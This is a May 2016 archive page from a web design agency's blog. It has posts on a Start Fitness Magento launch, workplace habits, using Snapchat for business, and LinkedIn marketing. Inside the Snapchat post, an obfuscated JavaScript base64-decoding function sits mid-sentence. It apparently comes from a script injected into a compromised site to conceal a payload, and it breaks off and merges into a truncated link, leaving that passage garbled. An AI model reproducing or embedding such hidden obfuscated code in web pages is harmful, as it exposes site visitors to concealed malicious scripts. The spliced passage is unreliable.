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Archive for May, 2016

New Site Launch – Start Fitness

We recently completed a large website transformation for Start Fitness to modernise their site and improve user functionality. Start Fitness, now one of the largest fitness retailers in the UK, offers the finest selection of fitness products anywhere on the web with more than 28,000 products to choose from, by some of the biggest names in sport.

Having approved our refreshed design, we implemented the changes on their e-Commerce platform Magento, whilst also integrating the Start Cycles menu and products into the new Start Fitness site.

The staff who oversaw the project added “Dimasoft were extremely helpful throughout each step of the new website roll out and the go live was completed with very little disruption to our business allowing us to continue to offer high standard of customer service and an enjoyable shopping process to all of our customers. We are extremely pleased with the end result.”

Launch - Start Fitness

Friday, May 27th, 2016 by admin Design, Development No Comments

 

Ways to impove your skills at work

skills that require no talent

As a new addition to the Dimasoft team, I was encouraged to see my boss’ business partner share this image on a popular social networking site as these are all attributes I value in people I work with. Bluntly put, you have nothing stopping you from exhibiting these traits.

Unfortunately, I was unable to trace the exact source of the image, but upon a quick search found dozens of similar shared images, lists and posts commenting in a similar vein that these attributes within an individual require no talent. One of those posts, written by President of Principal Carr Management Group Don Carr, explores each of these in more detail and explains the benefits of exhibiting these characteristics in the workplace.

Talent is defined in the Oxford English Dictionary as ‘natural aptitude or skill’ and whilst some people may have a natural ability to work hard or be prepared, I am hopefully going to dig a little deeper, in order offer insight on how to improve on these skills, if perhaps like me, not all of them come naturally to you. In order to do this, many of the above list can be grouped together as they pertain to the same fundamental point.

Firstly, being on time & being prepared.

Being someone who was brought up to have good punctuality from a young age, this one comes slightly easier to me. As one of those people who would prefer to be half an hour early to something than two minutes late, I am perplexed by people who emit sloppy time keeping and poor preparation. Here’s some easy steps you can follow to ensure you are well prepared and on time for your appointments:

  • Plan the journey ahead of time- Sat Nav it, Google map it, regardless of how you do it, always check how long things will take you when travelling to a business meeting or an appointment. Don’t forget to factor in traffic levels at different times of the day, and potential delays due to weather conditions.
  • Dig out any necessary documents- Go through all previous email correspondence relevant to a meeting or appointment to ensure you have all relevant paperwork and notes in relation to what you are meeting for, and what you hope to come away from the meeting with. This might be a signed agreement, an appointment for a further meeting, or simply answers to your questions.
  • Take notes- This is not something all people need to do, but if your memory is a sieve (as mine often is) do not attend any meetings, or even brief conversations with colleagues, without taking a notepad and pen with me. If any action points then come out of that conversation, e.g. can you remember to call this customer, I can take a note and ensure this gets done later on. Sounds simple but it’s extremely useful.
  • Set reminders- Don’t let your diary get on top of you, if you are frequently having to meet deadlines or drive to meetings, set yourself reminder for the day before, half an hour before, whatever works best for you. This will help to ensure you don’t get distracted by other work, or making the office tea round, and forgot to set off with enough time to get there.

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Energy & Effort

  • Sleep, Exercise & Diet – If your energy levels at work are constantly dwindling, this could be down to other factors outside of work such as eating a good diet, and getting enough sleep. Being healthy outside of work has a profound impact on your attitude within work. If you are often feeling tired, going for a short walk at lunch is proven to boost your dopamine levels and therefore positively impact your energy in the afternoon. Read other tips on how to improve your work energy levels.
  • Effort is related to enjoyment- So are you doing something you enjoy? If not, it is extremely difficult to put a high level of effort into it. Unfortunately, there are no tips for improving this, I would concur with Don Carr that you should quit and find something you do enjoy!

Work Ethic & Doing extra

  • Prioritising workload – As with most job roles, your priorities are likely to change on a daily basis. Although there a whole host of tools out there to help you manage your workload, such as Trello & Orangescrum just to name a few good ones I have used, nothing helps you organise your own workflow better than a scribbled list. Cross things off as they are done, renumber tasks as priorities change, keep it by your desk and do not throw it out until all jobs on there are done! I write a weekly ‘to do’ list and keep adding to it whilst some people prefer a daily list- it is completely up to you.
  • Challenge yourself before lunch – According to research, onlineclock.net humans are generally more productive in the morning hours so use this time to challenge yourself with a difficult task or job you have been putting off. If you can combat a large or difficult task in the morning it will set you in good stead for the remainder of the day and give you a confidence boost to tackle anything else that comes your way.
  • Learn self-discipline – Self-discipline is important, both in getting off those unhelpful sites (social networking namely) and self-discipline from doing all your easy jobs whilst putting off a bigger job that is higher priority. A good way to improve this is to time yourself on how long it takes to do something, as beating personal bests can be motivating in itself. Another incentive which works well, is rewarding yourself once you have done something difficult (with a cuppa or biscuit). If the lure of your favourite website is too tempting that you find yourself on it when you shouldn’t be, makeuseof has some useful ways to help you block the URL.
  • Going above and beyond – Working overtime or performing jobs not asked of you can not only help to show your commitment but can give an enormous sense of pride and ownership in your work. Not sure how to go that extra mile? A good way to go further is to finish up a project, piece of work or even send that last email before you leave the office for the day, this will also give you a clean start the following morning. Doing extra does not always relate to being on your computer, it can be as simple as picking up a few odd jobs around the office such as filing, tidying or asking others if they need support with their work. Going further is self-rewarding and may help to get you recognised and encourage career progression or pay bonuses.

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Passion, Attitude, Body Language

It is difficult to advise others on how to improve their passion and attitude about something as these are so innately influenced by other factors such as mood, energy and even genetics! What you are passionate about it often not something that you can choose, so it is important from the offset to pursue a career that you will enjoy and therefore be naturally passionate about.

  • Self-Reflection- Are you saying no to things without good reason? Are you being snappy or conversely becoming a shrinking violet at your desk? Self-reflection is vital to many aspects of work, in order to improve your working method and effectiveness, but in relation to your attitude, self-reflection may help you to understand the underlying cause of why you are being snappy or moody, does it relate back to an earlier point about lack of energy for example?
    Sometimes reflection can also come from listening to your superiors and colleagues for feedback, what can you infer from what they are telling you? If someone is asking you ‘why’ all the time, perhaps you are not explaining your reasons well enough when you ask them something.
  • Set goals – Passion is hard to measure without something tangible to measure it against. The most passionate of people have somewhere they want to get to, or a thing they want to achieve which allows them to focus and self-motivate. A good way to maintain this is to set incremental goals for yourself, this could be experience driven or volume of work driven, but regardless of how you approach it, setting goals = measurable success.
  • Smile more – Attitude and body language go hand in hand as we can often subconsciously give away how we are feeling though our stance, posture and even minor facial movements.

A positive way to encourage a happy attitude is to smile more, this will also make people more receptive to you in conversations and is vital when meeting new potential customers and existing clients.

Being coachable

  • Listen to everyone - You never know where or rather who you will pick up useful tips and nuggets of advice from. Some of the most useful knowledge can come from the strangest and most unexpected of people. Be open minded and you never know what you might learn.
  • Remember you’re never too old or too experienced to learn new things – Most industries are ever-evolving and therefore there is always more to learn. From more experienced colleagues to e-learning courses to training seminars, there are more and more ways now to expand your knowledge and gain new skills. The trick is to never think you know everything and always be open to learning new things.

 

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Thursday, May 26th, 2016 by Jade Lambourne General Advice, Uncategorized No Comments

 

Snapchat for Business

Snapchat Logo

What is Snapchat?

Snapchat is a social networking mobile App that enables users to send edited images and short videos to each other- which are automatically deleted after a period of time.

As of May 2015, there were 2 billion photos and videos being sent per day, and Snapchat Stories (another content recording format within the app) was being viewed 500 million times per day. By 2016, there are 7 billion daily video views.

Vintage Man takes selfie with smartphone camera

Who uses it?

86% of Snapchat’s users are aged 13 – 37. This means if a company wants to use Snapchat, we recommend it be to target the younger audience.

More and more brands are using Snapchat to talk to their audience and function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeconvert.com/social-media-case-studies/5-creative-ways-brands-are-using-snapchat/" target="_blank">there are numerous examples of creative ways Snapchat has been used for campaigns.

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Why should you use Snapchat?

It’s a perfect platform if you have a lot of visual content to share with a primarily younger audience. Before uploading content to Snapchat, be aware that videos need to be short, and images have a shelf-life.

There are plenty of tutorials that guide you through setting up a Snapchat account.

 

What should you post?

When using Snapchat for Business, the objective should be interesting content, not advertising on Snapchat (unless you have a $100,000 budget).

Content ideas:

  • Behind the scenes
  • Event coverage
  • News and exclusive offers

Snapchat is not an overt selling tool. This is a fun and engaging social platform. Therefore you should post content with that in mind.

Any campaign promotion should have that in mind when posting to Snapchat. The app has lots of fun add-on things like Face Swap, filters and faces. Why not face swap your CEO with a celebrity? Or send some nice animations?

Got your back snap

 

Snaps vs Stories

When you open your Snapchat app, you can either swipe right to get to direct snaps to friends; swipe left and you get to stories – this is where advertisers stories are, but also where your friends stories are.

Snaps give your followers notifications, stories are a series of photos or videos that hang around for 24 hours.

snaps

As a marketer, you’d want to be popping up on your customers phone, so you should send them all snaps right? Wrong. We never want to be harassing our customers. If they are active on Snapchat, and they have actively followed you, then they will check your stories.

Stories will also allow you to develop a more in-depth message over a series of snaps, rather than one off snaps that are gone in a few seconds.

stories

 

How to get followers on Snapchat

First of all, make everyone aware that you’re on Snapchat by posting on your other social platforms your username.

Then you need to give them an incentive to follow you on Snapchat.

Snapchat is still a fairly new concept, but also has a lot of potential for exciting content so the right audience will probably be curious about what you have to say on there. Therefore make it known you are on Snapchat!

snapchat icon

Post a picture of your ghost icon on other social media platforms. Ask customers if they are on Snapchat, and add the icon to your website and email newsletters.

More importantly, follow customers back.

 

Tracking results on Snapchat

There is no point in Snapping and Face Swapping if it’s not getting you the results. As more social apps are used more and more, so our time gets stretched across the main platforms. Therefore we recommend looking at your results after a couple of months and measure the engagement after that.

Things to look at:

  • What content works better than others?
  • What times are the most engaging?
  • How many snaps in a story work?

Once you’ve looked at how your snaps are performing, look at tweaking your posting and time spent on the platform accordingly.

There are analytical tools emerging for Snapchat, like http://snaplytics.io/ but these aren’t cheap, so think about these when you’re ready to invest the money in a full Snapchat strategy.

Snaplytics

 

 

 

 

 

Friday, May 13th, 2016 by Jade Lambourne Social Media No Comments

 

Making LinkedIn Work

 

Some perspective

One thing to remember about LinkedIn is that the average amount of time spent on LinkedIn in a month is 20 minutes; to put that into perspective, 20 minutes is the average amount of time spent on Facebook in a DAY.

In 2014, LinkedIn accounted for 2% of Europe’s social sharing. It’s not usually the highest on our priority list when it comes to B2C brands BUT a specific B2B strategy can be very valuable on LinkedIn.

LinkedIn is a vital cog in the social media machine when it comes to target a specific audience.

LinkedIn works best for businesses that have a number of very specific job titles in mind, when they think of their target audience.

fotolia_101818967

 

Page vs Profile

One of the key questions asked is where to market a business from. LinkedIn, like Facebook have company pages, where you can post updates and links about the business, and get followers and interactions. Your own personal profile doesn’t get integrated into this page unless you state you work there, or you share the post to your own personal feed.

The issue with a LinkedIn page, however, is the limitations you have with it. The pages aren’t really a tool to talk to people directly, they’re more a base to describe the nature of the business.

Personal profiles give you a lot more flexibility in marketing techniques on LinkedIn. You can connect directly with people, interact on a personal level, and publish posts on the LinkedIn feed.

However, because it is a personal profile, reputation and time are the greatest concerns. This isn’t like Facebook or Twitter where you can reach thousands with £10 and a decent hashtag. You need to be very careful not to spam your connections, nor do you want to be lost in the noise of recruiters.

Advice: Use your personal profile, but very carefully

Groups

Joining industry relevant groups is a great way to get a message out there – for example, if you publish a post or an update about marketing within the group – members of that group get notified. It’s a fantastic way of meeting new people and raising your authority in your industry.

There are thousands of different groups on LinkedIn so the key thing is to be careful about which ones you join. The larger groups are usually controlled by moderators so users can’t spam them with marketing posts. BUT they are a great source of information for other social platforms AND sharing blog posts about a generic subject will help with your own reach and awareness.

Advanced Search

The LinkedIn advanced search is invaluable when wanting to target specific job titles and industries. You can search your own contacts and tag them into their own list (HR Managers, for example); or you can search for people in a certain region that you aren’t connected to (HR Managers in London) which helps to identify potential connections and clients.

LinkedIn enables you to segment these connections through ‘tagging’ which means you can categorise them based on a certain element.

fotolia_108076243

 

Looking at profiles

This may sound crazy, but just LOOKING at a profile raises awareness. We’ve all seen those notifications saying ‘Joe Bloggs has viewed your profile’, when it’s a stranger, aren’t you the least bit curious about who and why they’re looking? As soon as you look at a profile, you have reached that person – then you’ll know if they’re curious if they look back!

It’s like high school politics, but it works. It creates a connection before you’re even connected and makes it easier to message and talk to them once you are connected.

Sending messages

Once you’ve sourced your connections, now is the time to send a BRIEF message asking if they’d be happy to talk to you about X or Y or Z. Even better is to ask them about themselves, their business; the nature of their company. Share content that may be of interest to them (something you found in your groups perhaps!).

It isn’t hard to change a generic message template into a personalised one, so keep it short (150 -200 words) and make sure you talk about them personally at some point.

Asking them for feedback on something (like a blog article or product) is a nice introduction to the relationship.

 

 

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Tuesday, May 3rd, 2016 by Jade Lambourne SEO, Social Media, Uncategorized No Comments